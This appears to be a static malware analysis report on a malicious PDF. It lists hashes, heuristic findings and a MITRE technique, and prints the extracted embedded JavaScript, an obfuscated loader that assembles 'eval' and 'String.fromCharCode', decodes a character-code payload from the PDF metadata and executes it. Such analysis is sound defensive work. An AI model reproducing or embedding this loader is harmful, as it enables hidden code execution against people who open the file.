Malicious PDF — malware analysis report

Static analysis result for SHA-256 531eece01f314841…

MALICIOUS

PDF

44.6 KB Authoring application: substr First seen: 2012-10-10
MD5: a85cce0844b6b787831ca35ec9a6f1cc SHA-1: 37c2bfca73adb32c3279d10238d620014c37f671 SHA-256: 531eece01f314841b55b322d0c5cd74afabe6be57ccd8928cf87e7f55fe6074d
86 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: Malicious JavaScript

The PDF file contains embedded JavaScript, indicated by heuristic firings for PDF_JAVASCRIPT and PDF_JS. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript, named 'javascript_obj0001_000.js', is the primary indicator of malicious activity, likely serving as a downloader or initial execution vector for further payloads. The document body text is generic and does not provide further context.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAFAD 443 bytes
SHA-256: cafee3f0735eec629b1a0ff975b17e4de9f6f593831958e8fa9c062b85eaf838
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
kffdc=e('ti'.concat(v[4],t));
q=kffdc[v](a.length-6,a.length+2);
xqq=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=kffdc[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	onq = 1*(q[i]);
	i++;
	onq -= (-1)*(q[i]);
	s2 = s2.concat(xqq(onq));
	i++;
}
e(s2);

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